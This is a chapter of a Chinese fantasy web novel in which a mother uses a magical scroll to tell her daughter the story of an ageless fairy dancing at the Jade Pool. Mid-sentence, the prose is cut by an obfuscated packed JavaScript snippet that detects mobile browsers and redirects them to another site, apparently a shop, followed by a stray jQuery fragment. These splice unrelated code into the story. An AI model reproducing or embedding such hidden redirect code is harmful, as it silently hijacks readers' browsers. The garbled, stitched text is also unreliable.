娘宽袖一展。
袖子原本不过寻常粗布,可此刻这粗布竟似流云水袖一般,有光华隐隐流过。
临照的面前,徐徐展开一幅画卷。
它从虚空中来,一寸一寸铺开,画上是云雾缭绕的仙宫,是衣裙飘飘的仙子。
画卷不似画,倒似真境。
她一双狭长的眼瞪成了圆眼,说话也结巴起来。
“娘?你、你怎么?”
她指着那画卷,嘴巴张了又合,合了又张。
“你怎么有灵力?!跟话本里写的神仙一样!”
娘没有回答这个问题。
她只是轻轻揽过临照,在祭坛边缘坐下,一双柔美的眸子里水波微微荡漾。
蓝色的烛火在四周幽幽燃烧,将两人的身影拉得很长。
“照儿,还记得娘和你讲过的神仙故事吗?”
“当然记得!”
“那娘想问问照儿,在照儿的心中,神仙应该是什么样子的呢?”
“嗯……”临照歪着头想了想,小脸上全是认真,“不是都说他们会荡清天下妖邪,是世间最最公平的存在吗?”
她想起村口的老先生。那老先生胡子花白,总喜欢摇头晃脑地说一些难懂的话。但有一句她听懂了,举头三寸有神明,善有善报,恶有恶报。
神仙是善的。
神仙是公平的。
神仙是不会犯错的。
“那照儿觉得,神仙会有恶念吗?”
临照有些纠结,咬着手指。
她没有见过神仙,又怎么知道神仙是不是和凡人一样?
虽然她从小听话本,里面从来没有写过神仙有私欲、有恶念,但谁知道话本会不会骗人,眼见才能为实嘛。
不过,神仙不食人间烟火,应该也不会像凡人一样,历人间八苦,有七情六欲。
所以她摇摇头。
“没有吧,如果连凡人信仰的神仙都做不到公正,那这世间哪里还有公平?这样天下岂非是要乱套?”
娘的眸子里忽然荡开凄凉,染满整个眼眶:“照儿说的对。”
她轻轻揉着临照的发顶:“这世间,不管是凡人,还是神仙,其实只要有私念,就免不了会有偏颇。”
“至于动了私情,有了偏颇,会不会让天下大乱——娘猜,是会的。”
“村里的老先生最喜欢说的便是‘闲邪存其诚者,言防闲邪恶,当自存其诚实也’。”临照摆着架子,学村里老先生的那一套,“普通凡人都讲究应约束邪念、存其诚心,那法力通天的神仙更应该如此吧?”
“对,如果神仙做不到克制自己的私欲,是会被天道惩戒的。”
临照眼睛一亮,追问道:“天道是什么?比神仙还厉害吗?它会怎样惩罚神仙?把他们贬成平凡人,让他们承受凡间之苦?”
孩童对神仙鬼怪之类的东西,总是有着天然的兴趣。况且平日里,临照就莫名对这一类的话本感兴趣,此刻便把自己从话本看来的东西一股脑搬出来了。
“天道是什么?”娘的声音忽然变得很轻,“天道是这世上最严厉的判官,也是最无情的。它若说你错,你便辩无可辩。”
“至于惩罚——”
娘的目光落在她身上,更显凄哀:“轮回有何可怕?”
“最可怕的是,无尽的诅咒。”她的指尖轻轻点在临照的胸口处,眸子里的水波似乎满得要溢出来。
“诅咒?什么诅咒?”临照的声音忽然显出几分胆怯。
“照儿看吧,这是上古时期的一个故事。”
娘指尖凌空一点,如同落叶坠潭,涟漪过处,开始浮现出斑驳百色。
歌舞升平。
瑶池之畔,云雾袅袅。画中人在琼楼玉宇中穿梭,缥缈乐在九天云霄上缭绕,仙鹤引吭高歌,琼花枝头盛放。
俨然天界之景。
一个仙子袅袅婷婷款步走出。
仙子面色清冷,如霜如雪,却身着曳地红裙,如火如荼。她发髻高挽,斜斜插着一支玉簪,上面缀着零星红花。也不知那是什么花,红得竟那般好看,好似晚霞落在发间。
歌兮,舞兮。双臂舒展,似风摆红荷。裙摆翻飞,如繁花盛放。
扬手,那广袖滑落至小臂,露出藕节般的玉臂。腕间,有一点红,却看不真切是何纹样。
“娘,这就是仙子姐姐吗?好漂亮啊。”
娘伸手,刮临照的鼻尖:“傻孩子,这可不是姐姐,她已经几万岁了。”
“几万岁?!”
她看画中的仙子,一双眸子清澈如水,怎么看,都不像几万岁老神仙的眼睛。
“哇,话本中都说,神仙能活到几万岁都是很老的了,看来话本也骗人。”
娘抿唇一笑:“话本说的也没错,普通的神仙,确实没有固颜之力。活得久了呢,也懒于花心思寻找方法驻颜,那便会如你所说,花胡子一大把!”
“但这位仙子不一样,她乃是混沌流民一族,生来便是不会老的。一万年,一百万年,直到死,容颜都会停留在成年那刻。”
临照眨眨眼,在脑海里寻找着这个词:“我怎么从未听说过这一神族?”
“你没听说过很正常,”娘的声音更轻了,“他们这一族曾经面临过灭族之祸,而今当然鲜少人知道。”
临照看着画中的仙子,心里有些难过。
灭族,不就是失去爹娘,失去很多兄弟姐妹,那这仙子姐姐,该有多伤心啊?
“那这……混沌流民是什么来历?”
娘的目光忽然变得悠远,好像在透过画卷看着往事。
“他们,是世间最古老的族群之一。”
“他们生自于混沌之中,早在盘古开天辟地,将混沌一分为二之前,便已经存在了。照儿知道混沌是什么样的吗?”
“嗯!老先生讲过,说鸿蒙之初,一片模糊,没有秩序,无实无虚,无善无恶。”
“对,所以生于混沌之中的混沌流民,也有着一种神奇的本领,他们可以化虚为实,也可以化实为虚。”
“这种能力很危险吧?要是不小心把什么不该有的东西变成实体,得多吓人……”
她设想了几种情况,心里有些发怂,脸皱成了一团。
娘被她这幅模样逗笑了:“那倒不用担心这些,天地自古有衡,为了制衡他们这等本领,这一族的人,是和天道签订了契约的。若是他们有违契约,滥用此能,致三界大乱,便会遭到反噬,生生世世受到诅咒。”
“是什么契约啊?”
娘又不说话了,临照只能看见她眼底深深的水波。
她偏头盯着画
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232058|190901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卷,画卷仍然在徐徐展开着。
临照顺着她的目光去看。
一舞毕。
仙子缓缓收势,广袖垂落,微微敛息。
霎时间,百花虚影竟成了真,翩翩花瓣飞了满天。
花瓣落了众人满身,她微微抬头,一笑百媚生。
凤鸟从云间飞来,绕着瑶池盘旋。彩蝶自花间飞出,围着妙人舞动。
满池喝彩。
“好!”
如泉水撞石,一道清越宽和的声音响起:“献丑献丑。”
“泠仙子,这许多年未曾见过你这舞姿了,今日一见,还是一如既往地曼妙啊。”
“过奖过奖。”泠仙子脸上一直是平和的笑,可那眉眼却如山水画一般,只有隔雾观山的疏离。
泠仙子轻轻提裙,缓缓落座。
旁边的黄衣仙子生了一双杏眼,满脸好奇地探个头:“阿泠——”
她拖着长长的调子,圆眼滴溜溜地转:“我难道不是你这么多年来的知交吗?这般大事,你竟然瞒着我?!怪不得这些日子,你总说忙,说什么补结界、理典籍,原来是打算一鸣惊人!”
“怎的偏这次想着献舞了?平日里你不是最不喜在众人面前张扬的吗?我还记得当初王母寿宴,她老人家亲自请你献舞,你都推脱了!”她伸手去戳泠仙子的脸。
泠仙子眉眼间的疏离淡下去,伸手挡住她戳过来的手指:“莫要打听闲事,今日的职司可做好了?待会儿若是又出了纰漏,我可不替你收拾烂摊子!”
“先不谈这个!咱们先来谈谈你的事情。”黄衣仙子不屈不挠地凑前,“我还不了解你么?你这性子,定不会无缘无故便在人前起舞,必定是跳给某个人看的罢?是谁是谁?快快招来!”
泠仙子端起一杯茶,轻抿一口。氤氲热气遮住了她的双眸,却不知那眼神的飘飘忽忽是为谁。
“哪有什么谁?不过是太久没有跳过,怕忘了这支祖传的舞罢了。”
“况且,今日来了这许多新仙子,让更多的人知晓此舞,才好传下去,你说可是?”
黄衣仙子眯起杏眼,盯了她一会儿。
她认识阿泠几万年了,太知道她的脾性了。方才她的眼神,分明就飘忽了一瞬!
既然她不愿意说,便只好自己揣度了。
最近阿泠新结识了什么人?
她支起下巴,目光扫过瑶池的满座神仙。
新晋的年轻小弟子?那边坐着的几个,看起来确实生得俊俏,眉清目秀,唇红齿白。不过应当不是,阿泠并非如此肤浅之人。几万年都孤身走过来了,什么俊俏面孔没见过?
前段时日和她一同修补结界的霁云仙子?霁云确实道行高深,人嘛,也和和善善的。可阿泠自己的道行便十分了得,对这样的人应该不会生出崇拜之情。他们之间,应该不过是君子之交。
司战之神?不对不对,阿泠素来不喜打打杀杀。
文曲星君?不对不对,阿泠还说他古板得紧,说话文绉绉的。
她环视一周,却仍然没有头绪。
实在是想不通,在这偌大的天界,疏离冷淡了几万年的人,会为谁而舞?
她挠挠头,难道真的是自己想多了?
可她却没有注意到,在这吵吵嚷嚷的瑶池边角,立着一个东西。